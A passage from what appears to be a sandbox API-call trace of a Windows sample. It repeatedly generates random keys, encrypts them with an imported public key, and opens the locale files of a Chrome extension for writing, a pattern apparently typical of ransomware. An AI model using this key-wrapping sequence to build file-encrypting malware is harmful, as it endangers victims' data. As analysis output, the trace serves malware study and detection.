settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.484] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.487] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.487] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.487] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.487] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.488] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.490] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.490] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.490] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.490] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.492] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65981b8) returned 1 [0233.492] CryptGetKeyParam (in: hKey=0x65981b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.492] CryptEncrypt (in: hKey=0x65981b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7e20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.493] GetLastError () returned 0x0 [0233.493] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.493] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.495] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65983f8) returned 1 [0233.495] CryptGetKeyParam (in: hKey=0x65983f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.495] CryptEncrypt (in: hKey=0x65983f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7e30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.495] GetLastError () returned 0x0 [0233.495] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.495] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.496] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0233.498] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.499] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.499] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.499] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.499] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.502] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.502] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.502] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.502] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.504] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598178) returned 1 [0233.504] CryptGetKeyParam (in: hKey=0x6598178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.504] CryptEncrypt (in: hKey=0x6598178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7e40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.504] GetLastError () returned 0x0 [0233.504] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.504] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.506] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65981f8) returned 1 [0233.506] CryptGetKeyParam (in: hKey=0x65981f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.506] CryptEncrypt (in: hKey=0x65981f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7e50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.506] GetLastError () returned 0x0 [0233.506] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.506] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.507] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.509] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.510] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.510] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.510] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.510] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.512] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.513] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.513] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.513] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.513] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.515] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65982b8) returned 1 [0233.515] CryptGetKeyParam (in: hKey=0x65982b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.515] CryptEncrypt (in: hKey=0x65982b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7e60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.516] GetLastError () returned 0x0 [0233.516] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.516] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.518] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65982f8) returned 1 [0233.518] CryptGetKeyParam (in: hKey=0x65982f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.518] CryptEncrypt (in: hKey=0x65982f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7e70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.518] GetLastError () returned 0x0 [0233.518] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.518] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.519] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.522] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.522] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.522] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.522] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.523] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.525] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.525] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.525] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.525] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.548] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598278) returned 1 [0233.548] CryptGetKeyParam (in: hKey=0x6598278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.548] CryptEncrypt (in: hKey=0x6598278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7e80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.548] GetLastError () returned 0x0 [0233.548] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.548] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.551] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598478) returned 1 [0233.551] CryptGetKeyParam (in: hKey=0x6598478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.551] CryptEncrypt (in: hKey=0x6598478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7e90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7e90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.551] GetLastError () returned 0x0 [0233.551] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.551] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.553] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.555] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.557] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.557] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.557] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.558] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.561] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.561] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.561] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.561] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.564] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65984f8) returned 1 [0233.564] CryptGetKeyParam (in: hKey=0x65984f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.564] CryptEncrypt (in: hKey=0x65984f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ea0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ea0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.564] GetLastError () returned 0x0 [0233.564] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.564] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.566] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65983b8) returned 1 [0233.566] CryptGetKeyParam (in: hKey=0x65983b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.566] CryptEncrypt (in: hKey=0x65983b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7eb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7eb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.566] GetLastError () returned 0x0 [0233.566] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.566] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.567] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.571] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.571] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.571] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.572] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.574] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.574] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.574] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.574] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.576] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598d78) returned 1 [0233.576] CryptGetKeyParam (in: hKey=0x6598d78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.576] CryptEncrypt (in: hKey=0x6598d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ec0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ec0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.577] GetLastError () returned 0x0 [0233.577] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.577] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.578] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598cb8) returned 1 [0233.578] CryptGetKeyParam (in: hKey=0x6598cb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.579] CryptEncrypt (in: hKey=0x6598cb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ed0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7ed0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.579] GetLastError () returned 0x0 [0233.579] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.579] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.580] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.583] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.583] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.583] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.584] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.586] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.587] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.587] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.587] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.590] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598f38) returned 1 [0233.590] CryptGetKeyParam (in: hKey=0x6598f38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.590] CryptEncrypt (in: hKey=0x6598f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ee0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ee0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.590] GetLastError () returned 0x0 [0233.590] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.590] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.592] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598c78) returned 1 [0233.592] CryptGetKeyParam (in: hKey=0x6598c78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.592] CryptEncrypt (in: hKey=0x6598c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ef0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7ef0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.592] GetLastError () returned 0x0 [0233.592] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.592] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.593] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.595] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.597] GetProcAddress 